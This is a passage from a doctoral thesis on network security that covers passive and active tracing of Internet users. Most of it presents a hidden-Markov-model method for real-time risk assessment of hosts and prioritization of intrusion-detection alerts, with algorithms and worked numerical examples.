registration databases. In particular, its IP address is registered in an IP WHOIS
database, its domain name is registered in a DNS WHOIS database, and informa-
tion about its location on the Internet is provided by the routing tables. All of this
information can be used to obtain information about the location and identity of
addresses and users on the Internet. In order to perform a successful trace on the
26 2.5. DIGITAL FORENSICS
Internet, it is necessary to understand the interaction between different protocols.
Each protocol may have its own addressing scheme, but it may be necessary to un-
cover the lowest level addresses, i.e., the hardware address on the physical network,
in order to associate an address with a physical user or location.
There are multiple sources of information that can be used for passive tracing
on the Internet. The most important sources are the structured databases for
DNS and IP registration, as well as the routing policies of the network operators.
In addition, valuable information exists in unstructured sources, for example on
the WWW, Usenet, mailing lists, and on message boards. Network operators often
provide information about their network and routing policies through Looking Glass
services. A passive trace implies that there is no communication with the target
system.
The use of active tracing methods implies probing the target host or network
directly in order to obtain further information about its address, geographical lo-
cation, or identity. Active tracing can, in some cases, reveal far more information
about a target host that the passive methods. However, active methods can warn
an attacker about an ongoing trace, possibly causing evidence to be compromised or
destroyed. Also, active tracing methods may be illegal in some countries. See [A90]
and [A50] for further discussions. A method for active tracing of hosts on the In-
ternet using round-trip time was proposed by Espen A. Fossen and the author of
this thesis in [A49].
Both passive and active methods outlined above have their limitations. There
are several factors that can complicate the identification and localization of a user on
the Internet, either because of the design and international aspect of the Internet, or
because a malicious user employs methods to obfuscate his real location. We have
to expect that sophisticated attackers involved in information warfare or cyber
terrorism will take precautionary measures and employ the methods available to
make tracing more difficult.
Chapter 3
Real-time Risk Assessment
Hugin og Munin
kvar morgon flyg
yver verdi vide;
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Gr´ımnisma´l [B177]
The complexity of today’s networks and distributed systems makes the process of
risk management, network monitoring, and intrusion detection increasingly diffi-
cult. The amount of data produced by a distributed intrusion detection system can
be overwhelming, and prioritization and selection of appropriate responses is gen-
erally difficult. On the other hand, risk assessment methodologies are being used
to model and evaluate network and system risk. These approaches are, however,
generally limited to manual processes, and they are not designed with real-time risk
management applications in mind.
The main contribution of this chapter is a novel approach to network risk assess-
ment, providing both a high-level overview of network risk based on individual risk
evaluations for each host and a quantitative metric for performing alert prioritiza-
tion. The approach considers the risk level of a network as the composition of the
risks of individual hosts. It is probabilistic and uses hidden Markov models (HMMs)
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to represent the likelihood of transitions between security states. Alerts are prior-
itized according to the risk associated with the hosts referenced in the alert. The
method is evaluated both through discrete-event simulations and through a pro-
totype implementation. The prototype implementation tightly integrates the risk
assessment tool with an existing framework for distributed, large-scale intrusion
detection, and the results of the risk assessment is used to prioritize the alerts gen-
erated by the IDS sensors. Finally, the prototype is evaluated using both training
data from Lincoln Laboratory [B161] and real network traffic from the Technical
University of Vienna [A71].
This chapter is based on the conference publications [A9, A11, A10, A60]. The
author of this thesis originally proposed a model for real-time risk assessment as
part of the risk management process. Kjetil Haslum proposed using HMMs to solve
this problem, and the theoretical framework has been developed in close coopera-
tion between Kjetil Haslum, Karin Sallhammar, and the author. The simulation
program with corresponding experiments for [A10] was mainly implemented by the
author of this thesis. Tønnes Brekne, Marie Elisabeth Gaup Moe, and Professor
Svein J. Knapskog also provided helpful input and contributed to writing the initial
paper [A9]. Kjetil Haslum was the first author for [A60], covered in Sections 3.3.3
and 3.4.3 in this chapter. The paper [A11] and the prototype implementation was
developed at UCSB in close cooperation with Fredrik Valeur, Professor Giovanni
Vigna, and Professor Richard A. Kemmerer. The author implemented the real-time
risk assessment code as part of the STAT intrusion detection framework and per-
formed the experiments. Fredrik Valeur assisted with configuring STAT, performing
the necessary modifications to the framework, and implementing a preprocessor for
detecting the outbound denial-of-service attacks that occur in one of the data sets.
The remainder of this chapter is structured as follows. Section 3.1 provides
background material with the terminology and reference model used in this chapter,
as well as an overview of some related work. Section 3.2 introduces the modeling
framework for modeling assets using hidden Markov models, and Section 3.3 shows
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how the security state of the assets can be estimated using HMMs. Using the
HMM modeling and estimation framework, we show how this can be used as a basis
for real-time risk assessment in Section 3.4. Alert prioritization is proposed as a
possible application of the approach in Section 3.5. An evaluation of the approach
is provided based on discrete-event simulations in Section 3.6, and a prototype
with results based on simulated and real-life data is provided in Section 3.7 and
Section 3.8. Section 3.9 contains a discussion of some central aspects of the approach
with suggestions for further research.
3.1 Background and Terminology
A reference model with the necessary terminology for the purpose of this chapter
is provided in this section. Some background material on model-based risk man-
agement, alert prioritization, and hidden Markov models is provided, and both
the target network architecture and the monitoring and assessment architecture are
discussed.
3.1.1 Model-based Risk Management
The chapter presents a method for dynamic evaluation of risk based on underlying
network and risk models. To be more specific, the primary target of this chapter
will be to study a risk evaluation scheme based on the relationship between risk
modeling and network monitoring. The proposed scheme is based on distributed,
model-based risk management, where multiple heterogeneous sensors provide timely
and scalable detection of erroneous and malicious behavior. The hypothesis is that
a predefined model combined with available monitoring data from multiple sources
will lead to improved efficiency and accuracy compared to current monitoring tech-
nologies. Furthermore, it is a target of this research to study how these results can
be processed as part of a risk management system that computes operational risk
in a real-time setting.
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In order to quantify or measure the security level in complex distributed systems,
it is necessary to model the system, and the model has to be updated according to
the actual implementation. The model has to contain sufficient details to facilitate
evaluations of such systems, but it is practically impossible to model every state
in every program or service (also referred to as the state explosion problem or
largeness problem [A38, A83]). It is, however, necessary to find sufficiently detailed
modeling schemes that can be useful in describing vulnerabilities, threats and risks.
Risk analysis methodologies are to some degree capable of supporting quantitative
analysis, but they are generally time consuming and highly subjective.
Based on a model that is able to describe vulnerabilities, threats and risks
quantitatively, the next challenge is to monitor or measure security relevant changes
or events in the system. Currently, this problem may be addressed through the use
of intrusion detection systems, logging, and auditing. There are, however, many
problems with these technologies as they are applied today. The amounts of data
are often large and the material is hard to understand. The data also contains
false alarms (false positives), or fails to identify real threats (false negatives). The
practice of security monitoring is consequently expensive and often insufficient for
providing a full overview of the risk level.
Research in risk assessment and risk management has traditionally focused on
the development of methods, tools, and standards for manual risk assessment. Two
commonly recommended references for risk management have been proposed by
AS/NZS [A116] and NIST [A84] (see Section 2.2.1). Model-based methodologies
for risk assessment, such as Coras [B152] and Morda [A45], have been developed
to support the risk assessment process. The approach described in this chapter
complements these approaches by performing risk assessment in real-time based on
an initial estimation of model parameters representing the probabilities of different
security states. A real-time risk assessment method has previously been proposed
in [A53], which introduces a formal model for the real-time characterization of risk
faced by a host. However, that approach is limited to risk assessment for individual
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hosts.
An overview of the risk management process used in this chapter is shown in
Figure 3.11. The risk management process depends on a model that contains a
detailed design of the system, as well as security policies and a risk model express-
ing threats, vulnerabilities, stakeholders, assets, countermeasures, risks with corre-
sponding likelihood and consequences, etc. The model can be developed through
the use of modeling tools like UML with corresponding model-based risk assessment
using tools like Coras. Based on this model monitoring is implemented to control
that the security policies are followed and that the models are correct. Specifically,
monitoring is employed to detect security incidents such as computer intrusions.
Assessment refers to the real-time assessment based on input from the monitor-
ing system. Quantitative measures are computed based on parameters from the
risk model. Finally, responses can be predefined in the model, and responses (or
countermeasures) are initiated based on the monitoring and assessment systems.
Responses can either be automated, or the system can work as a decision support
tool for human network administrators.
Model
Assessment
Response Monitoring
Figure 3.1: Security management process.
1A similar security process model is presented in [A17, page 5].
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3.1.2 Hidden Markov Models
The application of HMMs as a method for estimating the risk of a network was
initially proposed in [A9]. An HMM enables the estimation of a hidden state based
on observations that are not necessarily accurate. An important feature of this
model is that it is able to model the probability of false positives and false neg-
atives associated with the observations. The method is based on Rabiner’s work
on HMMs [A97]. An introduction to HMMs is also provided in [A5, pages 305 –
325], and a recent, comprehensive survey of hidden Markov modeling is provided
in [A26].
The classic application for HMMs is speech recognition, but HMMs have re-
cently become a familiar tool in computer and network security research as well.
Hidden Markov models have been used in IDS architectures to detect multi-stage
attacks [A88], and as a tool to detect misuse based on operating system calls [A138].
A method for for measuring behavioral distances between processes using HMMs
was proposed in [A52].
3.1.3 Alert Prioritization
There are many different approaches to alert prioritization in the literature. Porras
et al. present a model that takes into account the impact of alerts on the overall
mission that a network infrastructure supports [A95]. This approach relies on a
knowledge base that models the security-relevant characteristics of the protected
network. Other alert prioritization systems (see e.g., [B154, A57, A72]) are based
alert verification. These systems assign a higher priority to alerts that are verified as
true attacks, while alerts that are determined to be false positives are given a lower
priority. The alert verification systems can operate in either an oﬄine or an online
mode. Oﬄine systems are based on periodic vulnerability scans of the protected
network, and alerts are verified by checking whether the vulnerabilities referenced
by the alerts are present on the attacked hosts. Online alert verification systems
operate in a similar way, but vulnerability scanning is performed on-demand when
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alerts are received by the system [A73].
3.1.4 Target Network Architecture
The target of the risk assessment described in this chapter is a generic network
consisting of assets. An asset can represent e.g., computers, network components,
services, users, data or information, etc. The network can be arbitrarily complex,
with wireless ad-hoc devices as well as ubiquitous services. The risk of both indi-
vidual assets and of the entire network is assessed continuously and in real-time.
The unknown factors in such a network may represent vulnerabilities that can be
exploited by a malicious attacker or computer program, causing unwanted inci-
dents. The potential exploitation of a vulnerability is described as threats to the
assets. The risk of a system can be estimated by evaluating the probability and
consequence of unwanted incidents. In the examples provided in this chapter, the
modeled assets are always hosts, but other interpretations are possible.
3.1.5 Monitoring and Assessment Architecture
The architecture for real-time risk assessment contains of an assessment system and
a number of sensors.
The assessment system is a computer program that is responsible for collecting
and aggregating sensor data from a set of sensors that monitor a set of assets. The
main task of the assessment system is to perform real-time risk assessment based
on sensor data. The prototype described in Section 3.7 is a centralized proof-of-
concept implementation. In [A9, A60] we proposed a distributed solution employing
multiagent systems to provide flexibility and scalability. These are just two possible
designs, and other architectures should be carefully considered when implementing
the assessment system.
A sensor can be any information-gathering program or device, including differ-
ent types of intrusion detection systems (IDS), network sniffers (using sampling or
filtering), logging systems, virus detectors, honeypots, etc. The main task of the
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sensors is to gather information regarding the security state of assets. The assumed
monitoring architecture is hybrid in the sense that it supports any type of sensor.
However, it is assumed that the sensors are able to classify and send standard-
ized observations according to the risk assessment model described in this chapter.
Only IDS sensors are considered in the examples in this chapter, but the approach
supports other sensor types as well.
3.2 Modeling Assets as Hidden
Markov Models
Assume that the security of an asset can be modeled by N states, denoted S =
{s1, . . . , sN}. A state refers to an operational mode of the asset with respect to
security. The decision of what to include in the state definition is a trade-off between
model expressiveness and complexity. Different applications likely require different
state models. Some example models are provided later in this chapter. The behavior
of an asset is characterized by the transitions between its states. Due to both regular
and malicious user behavior, the security state of an asset changes over time. The
sequence of states visited is denoted X = x1, x2, . . ., where xt ∈ S is the state visited
at time t. Assume that the probability of future states depend only on the current
system state, i.e., P (xt+1 = si|xt, xt−1, . . . , x1) = P (xt+1 = si|xt). The security
behavior of an asset can consequently be modeled as a Markov chain. A similar
approach to modeling the security of a system has previously been used in [A56],
where it was applied to describe the dynamic behavior of intrusion tolerant systems.
The risk observation messages are provided by the K sensors monitoring an as-
set, indexed by k ∈ {1, . . . , K}. An observation message from sensor k can consist
of any of the symbols in the observation symbol set V k = {vk1 , . . . , vkMk}. Differ-
ent sensors may therefore produce observation messages from different observation
symbol sets, depending on the sensor type. Assume that the observation messages
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are independent variables, i.e., an observation message depends on the asset’s cur-
rent state only and not on any previous observation messages. The sequence of
messages received from sensor k is denoted Y k = yk1 , y
k
2 , . . ., where y
k
t ∈ V k is the
observation message received from sensor k at time t. Based on the observation
messages, the assessment system performs real-time risk assessment. The observa-
tion messages can be received from several sensors simultaneously, and they may
contain conflicting information. As one cannot assume that it is possible to resolve
the correct state of the monitored assets at all times, the observation symbols are
probabilistic functions of the asset’s security state. The asset’s true state is hidden.
This is consistent with the basic idea of HMMs [A97].
For each sensor k monitoring an asset, there is an HMM described by the pa-
rameter vector λk = (P,Qk, pi). P = {pij} is the state transition probability
distribution matrix for an asset, where pij = P (xt+1 = sj|xt = si), 1 ≤ i, j ≤ N .
Hence, pij represents the probability that the asset will transfer into state sj next,
given that its current state is si. pi = {pii} is the initial state distribution for the
asset. Hence, pii = P (x1 = si) is the probability that the asset is in state si when
the risk assessment process is initialized.
For each asset, there are K observation symbol probability distribution ma-
trices, one for each sensor monitoring the asset. The observation symbol prob-
ability distribution matrix Qk = {qkj (l)} is a probability distribution for an as-
set in state sj over the observation symbols from sensor k, whose elements are
qkj (l) = P (y
k
t = v
k
l |xt = sj), 1 ≤ j ≤ N, 1 ≤ k ≤ K, 1 ≤ l ≤ Mk. qkj (l) represents
the probability2 that sensor k will send the observation symbol vkl given that the
asset is in state sj. Q
k therefore indicates sensor k’s false-positive and false-negative
effects on the risk assessments. For simplicity, we omit the k index whenever we
refer to the modeling of assets with only one sensor. Specifically, we refer to Qk as
Q whenever there is only one sensor for a given asset.
The pi vector and the P matrix describe the initial state and security behavior
2This is also referred to as emission probability
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of an asset, and thus it must be the same for all sensors monitoring the same asset.
Since each sensor may produce a unique set of observation symbols, the Q matrix
depends on the sensor k.
Note that the application of this approach is an approximation of the real world,
and there are aspects of real systems that cannot be modeled in a precise manner.
We do not know the actual security state model of the assets, and the sensors do
not behave ideally according to the observation probability matrix. The HMM ap-
proach assumes that subsequent observations produced by the network monitoring
sensors are independent, i.e., an observation is determined by the current security
state only, and not by any previously visited states or previous observations. This
assumption can be violated in two ways. First, an asset can be targeted by an in-
telligent attacker, and the security states visited will consequently be the results of
a deterministic plan, rather than a random process. Second, some types of sensors
(e.g., misuse detection systems, such as Snort) are deterministic in the sense that
they always provide the same alert given a particular traffic pattern. Some attacks
may cause repeating traffic patterns, causing a series of identical observations over
time. Examples of such attacks are DDoS attacks, which occurs in the example in
Section 3.8. The effect of such dependencies should be investigated as part of future
research activities related to the use of this approach.
Consider the following examples of a university network and a military network
to see how values can be assigned to the model parameters.
Example 3.1
Assume that we can model each host in a university network as an asset with four
states, S = {G,P,A,C}, where G represents “good”, P represents “probed”, A
represents “attacked”, and C represents “compromised”. In a university network,
we can assume that there are high volumes of probing and a fair amount of attack
attempts. The security level for hosts is also varying, and a system compromise
is a likely scenario for some hosts. Consequently, the transitions to state P , A,
and C are relatively likely. In addition, because the traffic in university networks
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is heterogeneous and changing over time, we assume that it is hard to configure
and maintain accurate IDS sensors. Therefore, we have to assume that there is a
high number of false positives and negatives. This is modeled by increasing the
probabilities of receiving an observation that indicates a false positive or a false
negative and decreasing the probability of receiving an accurate observation in the
matrix Q. For example, qG(4), which represents the probability of receiving an
observation indicating a compromised alert when the system is actually in the good
state, has to be increased to represent the false positive probability. P and Q can
for example be set as follows:
P =

pGG pGP pGA pGC
pPG pPP pPA pPC
pAG pAP pAA pAC
pCG pCP pCA pCC

=

0.95 0.02 0.02 0.01
0.02 0.95 0.02 0.01
0.02 0.02 0.94 0.02
0.01 0.01 0.01 0.97
 ,
Q =

qG(1) qG(2) qG(3) qG(4)
qP (1) qP (2) qP (3) qP (4)
qA(1) qA(2) qA(3) qA(4)
qC(1) qC(2) qC(3) qC(4)

=

0.7 0.1 0.1 0.1
0.1 0.7 0.1 0.1
0.1 0.1 0.7 0.1
0.1 0.1 0.1 0.7
 .
In this simple example the values in the bottom left corner of the Q matrix
represent false negatives, whereas the values in the top right represent false positives.
The diagonal represents the probability of accurate detections. Also, in such a
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network, the initial state distribution pi has to take into consideration the probability
that a system is already under attack or even compromised:
pi = {0.65, 0.2, 0.1, 0.05}.
Example 3.2
In a military grade system, we can assume that the security level is very high, and
the probability of attacks is low, as the system is not known to the public. Given the
state model S = {G,P,A,C}, this implies that the probability of transition to P
and A should be low, but P should still take into account the possibility of random
scanning. Due to the high level of security, the probabilities of transition to state
C should be extremely low. The observation probabilities should represent the fact
that the traffic is regulated, and that the IDSs and logging systems are configured
to be highly accurate. The initial state can be assumed to be pi = {1, 0, 0, 0}. The
following are example transition and observation probability matrices:
P =

0.995 0.002 0.002 0.001
0.02 0.959 0.02 0.001
0.02 0.02 0.958 0.002
0.01 0.01 0.01 0.97
 ,
Q =

0.97 0.01 0.01 0.01
0.01 0.97 0.01 0.01
0.01 0.01 0.97 0.01
0.01 0.01 0.01 0.97
 .
3.3 Security State Estimation
In this section we show how the security states of assets can be dynamically updated
based on the HMMs discussed in the previous section. This section presents both the
standard method for discrete-time estimation, as well as two methods for handling
continuous-time sensor input. There is a multitude of sensors that can provide
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security relevant information, such as IDS sensors, network logs, network traffic
measurements, virus detectors, etc. Some of these may be well described by a
discrete-time HMM, but continuous-time HMMs may be more suitable in some
cases, as it allows for transition rates rather than probabilities. The two HMM
types complement each other, and they are suitable for different types of sensors.
Let us consider some example sensor types. A misuse IDS matches network traf-
fic (NIDS) or host activity (HIDS) with signatures of known attacks and generates
alerts. Virus detection systems use a similar technique. The alert stream of a signa-
ture based IDS is typically highly varying, and a continuous-time HMM approach
may be preferable. An active measurement systems can be used to perform peri-
odical measurements of the availability of hosts and services, for example based on
delay measurements. Such a measurement system is an example of an active sensor
suitable for a discrete-time HMM that is updated periodically. An anomaly based
IDS uses statistical analysis to identify deviation from a behavior that is presumed
to be normal. Such a sensor could be used with either a continuous- or a discrete-
time model. If the sensor is used to produce alerts in case of detected anomalies,
it can be used in a fashion similar to the signature based sensors. If the sensor is
used to compute a measure of the normality of a network or system, it can be used
as a basis for periodic computations using a discrete-time model.
3.3.1 Discrete-time Estimation
In order to perform real-time risk assessment, the security state of each asset is reg-
ularly updated in discrete-time intervals. For each sensor k the assessment system
computes the asset’s current state probability γkt = {γkt (i)}, at each time instant
t. Given an observation ykt , and the HMM λ
k = (P,Qk, pi), the assessment system
can update the state probability by using Algorithm 3.1. This algorithm relies on
a forward variable, computed by means of Algorithm 3.2. The sensor index k has
been omitted in these algorithms to simplify the notation. Further details regarding
the algorithms are presented in Appendix A.1.
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Algorithm 3.1 Update state probability distribution γt
IN: t, yt, αt−1, λ {time t, observation at t, forward variable at time t− 1, the HMM}
OUT: γt {the security state probability at time t}
use Algorithm 3.2 to compute the forward variable αt
for i = 1 to N do
γt(i)← αt(i)∑N
j=1 αt(j)
end for
return γt = {γt(i)}
Algorithm 3.2 Compute forward variable αt
IN: t, yt, αt−1, λ {time t, observation at t, forward variable at time t− 1, the HMM}
OUT: αt {the forward variable at time t}
for i = 1 to N do
if t = 1 then
αt(i)← qi(yt)pii
else
αt(i)← qi(yt)
∑N
j=1 αt−1(j)pji
end if
end for
return αt = {αt(i)}
Note that when implementing Algorithms 3.1 and 3.2, the forward variable has
to be scaled, such that αt(i) = Ctαt(i), where Ct = (
∑N
i=1 αt(i))
−1. This is done to
keep the computations within the precision range of the computer. It can be shown
that these scaling coefficients cancel out [A97, page 272].
3.3.2 A Continuous-time Approximation
The HMM defined above is a discrete-time model, not inherently suitable for
continuous-time observation data. A model for real-time risk assessment must be
able to handle bursts of alerts, as well as silent periods without alerts. Ideally, no
alerts should be discarded at any time. To correctly interpret alerts as an indi-
cation of an ongoing attack, the time interval between subsequent alerts must be
considered in the model. To solve this problem we can make a continuous-time ap-
proximation, similar to the approach used in [A139]. By using a fixed, sufficiently
short, time period between events in the discrete-time model, the intervals between
observations will be multiples of this period.
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Recall that the assessment system processes a sequence of discrete-time ob-
servation messages Y k, where ykt ∈ V k is the observation message received from
sensor k at time t. Let the time between two subsequent observation messages
be defined as ∆, where ∆ is a fixed value. Hence, in a continuous-time context,
pij(∆) = P (xt+∆ = sj|xt = si) represents the probability that an asset will be in
state sj after an additional time ∆, given that its current state at time t is si. For
simplicity we let pij represent pij(∆). In case there are no observation messages
during ∆, a “null” message is generated. When two or more observation messages
arrive within this time interval, they are placed in a queue and processed at time
t + ∆, t + 2∆, . . .. The queue will necessarily introduce a delay in the risk com-
putation. ∆ should therefore be small enough so that the assessment system can
handle the alert frequency of the monitored asset in real-time with minimal loss of
alerts due to a full queue. The queue size must, however, not be so large that the
system looses its ability to assess risk in real-time. As an example, a queue size of
1200 alerts and ∆ = 1 second introduces a maximum delay of 20 minutes, which
is unacceptable for most applications. On the other hand, the processing capacity
of the assessment system should not be exceeded; it must be able to update the
state probability (i.e., execute Algorithms 3.1 and 3.2) in less than ∆. The selec-
tion of a suitable time interval is a configuration issue that depends on the actual
implementation.
3.3.3 Rate-based Continuous-time Estimation
The continuous-time approximation above may lead to unnecessary resource con-
sumption, in particular in systems with unpredictable observation patterns. An
alternative to this approach is to adapt the HMMs to support rate-based estima-
tion.
Assume that a continuous-time Markov chain (x(t), t ≥ 0) can be used to model
the security of an asset. The model consists of the set of states S = {s1, . . . , sN},
the initial state distribution pi, and a transition rate matrix Λ = {λij}, 1 ≤ i, j ≤ N .
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When the system is in state si, it will make λij transitions to state sj per time unit.
The time spent in state si is exponentially distributed with mean u
−1
i (sojourn
time), where ui =
∑
j 6=i λij is the total rate out of state si. The rate to and from a
state must be equal and therefore
∑
j λij = 0, where λii = −ui represent the rate of
transitions into state si. The new HMM for sensor k, based on the transition rates,
is then λk = (Λ,Qk, pi).
As the time between observations is not constant, a transition probability matrix
P(∆t) = {pij(∆t)} have to be calculated for each new observation. Here, ∆t is the
time since last observation was received. Suppose that the process x(t) is in state si
at time t. The probability that the process is in state sj at time t+∆t is then given
by pij(∆t) = P (x(t+ ∆t) = sj|x(t) = si). If the transition probability from state si
to sj is independent of t, the process is said to be a homogeneous Markov process.
The transitions probability matrix P(∆t) can be calculated by P(∆t) = e
Λ∆t and
approximated by
P(∆t) ≈ lim
n→∞
(
I + Λ
t
n
)n
. (3.1)
See [A103, pages 388 – 389] for more details on computing the transition probability
matrix.
Example 3.3
Consider a network with continuous-time sensors monitoring a central server.
Through a manual risk assessment process, the administrators have estimated the
initial state distribution and the transition rates for the system per day. Given a
set of states S = {G,A,C}, the transition rate matrix is set to
Λ =

λGG λGA λGC
λAG λAA λAC
λCG λCA λCC
 =

−1.1 1.0 0.1
4 −5 1
3 1 −4
 .
Assume that the values indicate the transition rate per day. However, the numbers
in the diagonal of the matrix is the rate into the state, which is equal to the sum of
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the rates out of the state. The first row represents the rates in and out of state G,
indicating that the rate of transitions to state A (1 transition per day) is greater
than the rate of transitions to state C (0.1 transitions per day). The bottom row of
the matrix represents state C, and it indicates that the most probable development
is a return to state G due to a successful repair. First, we calculate the rate at
which the system leaves each state.
uG = λGA + λGC = 1 + 0.1 = 1.1 = −λGG
uA = λAG + λAC = 4 + 1 = 5 = −λAA
uC = λCG + λCA = 3 + 1 = 4 = −λCC
From this we can calculate the sojourn time for each state.
u−1G =
10
11
, u−1A =
1
5
, u−1C =
1
4
For example, if observations are received at t1 = 0.01, t2 = 0.11, and t3 = 0.13, we
can calculate the time between successive observations ∆l = tl − tl−1. This gives
∆1 = 0.01, ∆2 = 0.1, and ∆3 = 0.02. If we apply (3.1) for computing the transition
probabilities, using n = 210 = 1024, we get the following transition matrices3:
P(∆1) = P(0.01) =

0.9893 0.0097 0.0010
0.0390 0.9515 0.0096
0.0294 0.0097 0.9609

P(∆2) = P(0.1) =

0.9133 0.0752 0.0114
0.3102 0.6239 0.0659
0.2497 0.0752 0.6750

3Note that P(∆3) is incorrect in [A60]. This is corrected in this chapter.
44 3.4. QUANTITATIVE RISK ASSESSMENT
P(∆3) = P(0.02) =

0.9791 0.0188 0.0021
0.0759 0.9058 0.0184
0.0578 0.0188 0.9234

We see from the matrices above that the probability of transferring to another
state increases as the period between observations ∆t increases. For the special
case ∆t = 0, the probability of staying in the same state would be 1. Furthermore,
we can see from the matrices that the rows sums to 1, as expected for a probability
distribution. The computations were performed in Matlab, and only 10 matrix
multiplications were necessary in order to compute a matrix to the power of 1024.
3.4 Quantitative Risk Assessment
Following the terminology in [A116], risk can be measured in terms of consequences
and likelihoods. The consequence is the qualitative or quantitative outcome of an
event, and the likelihood is the probability of the event. To perform risk assessment,
we use a mapping: C : S → R, describing the cost due to loss of confidentiality,
integrity and availability associated with each state of an asset. The cost C of an
asset represents the consequence or loss of value associated with the states of an
asset.
The specification and estimation of cost is not been further investigated in this
thesis, but based on input from the initial risk analysis, cost can be modeled in a
similar fashion as that of reward modeling in performability theory. In performabil-
ity theory, cost usually refers either to the cost incurred in maintaining and repairing
a system, or to the cost due to system unavailability per unit time [A38]. The first
function assigns rewards to transitions between states, whereas the second function
can be viewed as a cumulative reward measure obtained by assigning rewards to
states. Both of these approaches can in principle be supported by the real-time risk
assessment approach discussed in this chapter.
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3.4.1 Single Sensor Assessment
Each of the monitored assets is associated with a cost vector C, indicating the
potential consequences of the state in question. The total risk Rt for an asset at
time t is
Rt =
N∑
i=1
γt(i)C(i) (3.2)
where γt(i) is the probability that the asset is in security state si at time t, N is the
number of security states, and C(i) is the cost value associated with state si. The
risk value obtained from (3.2) represents the current asset risk at time t. In order
to perform real-time risk assessment, Rt needs to be regularly updated by means of
Algorithms 3.1 and 3.2. A similar approach is used in performability theory, where
point performability (PPF) [A38, page 163] refers to the expected instantaneous
reward at a given time.
Example 3.4
A university network usually consists of a large number of hosts, including student
laptops, workstations, web servers, student record databases, and staff file servers.
For the purpose of network management, the servers are the most valuable assets,
and a compromise of staff data or student records could have very negative con-
sequences. Assume that assets can be modeled as S = {G,P,A,C}. Example
cost vectors could be: Claptop = {0, 1, 2, 5}, Cworkstation = {0, 2, 5, 10}, Cwebserver =
{0, 2, 5, 20}, CstudentDB = {0, 5, 20, 50}, and Cfileserver = {0, 5, 10, 25}. If the current
security state distribution for the student record database is {0.8, 0.15, 0.05, 0}, then
the risk for that asset at time t is RstudentDB,t = 0.8 ∗ 0 + 0.15 ∗ 5 + 0.05 ∗ 20 = 1.75.
The same security state distribution for a student laptop would result in the risk
Rlaptop,t = 0.25.
Let h be an asset that represents a host, and Rh,t represent the risk of a host at
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time t. The total risk for an entire network at time t can be expressed as
Rnw,t =
H∑
h=1
Rh,t (3.3)
where H is the number of hosts in the network. By using the sum of the risk of all
hosts, it is possible to see aggregate peaks of risk activity where the risk of several
hosts are simultaneously increased. A property of this definition of network risk is
that security incidents that only involve a few hosts may not impact the total risk
of a large network to a noticeable degree. Also, the risk can only be interpreted
by using knowledge of the normal risk level of the system, as well as the maximum
risk of the system. A limitation of this definition of network risk is that it does not
consider dependencies between assets, as discussed in Section 3.9.6.
The average risk for a network can be expressed as
Rnw,t = Rnw,t
H
. (3.4)
As opposed to (3.3), the average risk for a network is a normalized value for a given
network. If a high percentage of the hosts in a network are subject to security
incidents, the average risk for the network can be expected to vary significantly
over time. Note that Rnw,t is system-dependent, as the HMMs and cost vectors of
different hosts vary.
In a traditional risk assessment context, one would expect risk to stay at the
most critical security state once that state has been reached. This chapter focuses
on real-time risk assessment, and the model proposed in this chapter is intended
to be used as a real-time tool for risk management. That is, we are interested in
representing the level of risk activity; therefore, the HMMs used in the examples
allow the risk to gradually decrease, even if the host in question has been assessed
to be in state C. The arrival of new observations indicating a less critical state also
decreases the risk of a host. This is done in order to avoid a situation where an
increasing number of hosts are assessed to have the maximum risk possible.
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3.4.2 Unweighted Multisensor Assessment
If more than one sensor is available for an asset, it is necessary to extend the pro-
posed method to handle input from multiple sensors. In this section, a method for
unweighted multisensor assessment is proposed. This approach can be used if there
is no knowledge about the accuracy of the sensors. A weighted approach is con-
sidered in the next section. For both approaches, individual HMMs are configured
for each sensor associated with an asset. Each of these HMMs are used to perform
security state estimation, and the risk is based on an aggregation of the security
state of the individual HMMs.
Let the total risk Rt for an asset at time t be
Rt =
N∑
i=1
Rt(i) = K−1
K∑
k=1
N∑
i=1
C(i)γkt (i) (3.5)
where γkt (i) is the (estimated) probability that the asset is in security state si at
time t, based on observations from sensor k. N is the number of states for the asset,
K is the number of sensors, and C(i) is the cost value associated with state si. Here,
the sum of the estimates γkt from the sensors are weighted equally by K
−1. Ideally,
the estimates should be weighted in accordance to the reliability of the sensor data
in such a way that estimates from unbiased sensors with low variance are given
higher priority. This is considered in the next section.
In order to perform real-time risk assessment, the risk value in (3.5) needs to be
regularly updated. For each sensor k the assessment system computes the asset’s
current state probability γkt = {γkt (i)}, at each time instant t. Given an observation
ykt , and the HMM λ
k = (P,Qk, pi), the assessment system can update the state
probability by using Algorithm 3.1 and Algorithm 3.2.
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3.4.3 Weighted Multisensor Assessment
This approach is similar to the one above, but it takes advantage of the knowledge
about the variance of different sensors to implement weighted multisensor assess-
ment. The risk Rt = E[C(xt)] is the expected cost at time t, and it is a function
of the hidden state xt of an asset. The only information available about xt is the
distribution γt estimated by the HMM. The risk Rkt estimated by sensor k is based
on the observations Y kt from sensor k
Rkt = E[C(xt)|Y kt ] =
N∑
i=1
γkt (i)C(si),
and the approximated variance σ2k(t) of Rkt is
σ2k(t) = V ar[Rkt ] =
N∑
i=1
γkt (i)(C(si)−Rkt )2.
A new estimate of the risk of an asset, R0t , based on observations from all the K
sensors, is formed by taking a weighted sum of the estimated risk from each sensor.
Assuming the estimated risk from each sensor to be unbiased and independent
random variables, the inverse of the variance can be used as weights to get an
unbiased minimum variance estimator of the risk. This can be shown by applying
the Lagrange multiplier method.
R0t = E[C(xt)|Y 1t , Y 2t , . . . Y Kt ] =
∑K
k=1(σ
2
k(t))
−1Rkt∑K
k=1(σ
2
k(t))
−1
The variance σ20(t) of R0t can be approximated as follows
σ20(t) = V ar[R0t ] =
1∑K
k=1
1
σ2k(t)
. (3.6)
The derivation of (3.6) is shown in Appendix A.2.
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Example 3.5
Consider the network described in Example 3.3. Assume that the server is mon-
itored by two different sensors. The asset is modeled by S = {G,A,C} with the
cost vector C = (C(G), C(A), C(C)) = (0, 5, 20). At time t, assume that the two
HMMs have the following estimated state distributions: γ1 = (0.90, 0.09, 0.01) and
γ2 = (0.70, 0.20, 0.10).
First, it is necessary to find an estimator for the risk of the monitored asset
based on the input from the two sensors. As this estimator should have as little
variance as possible, the sensor with the best estimate should be given more weight,
i.e., the sensor with the least variance. The weight is computed as the inverse of
the variance from the two sensors:
R1 = 0.9× 0 + 0.09× 5 + 0.01× 20 = 0.650
R2 = 0.7× 0 + 0.2× 5 + 0.1× 20 = 3.000
σ2(1) = 0.9(0− 0.65)2 + 0.09(5− 0.65)2 + 0.01(20− 0.65)2
= 5.826
σ2(2) = 0.7(0− 3)2 + 0.2(5− 3)2 + 0.1(20− 3)2 = 36.00
We now combine the risk from each sensor to get a minimum variance estimate of
the risk.
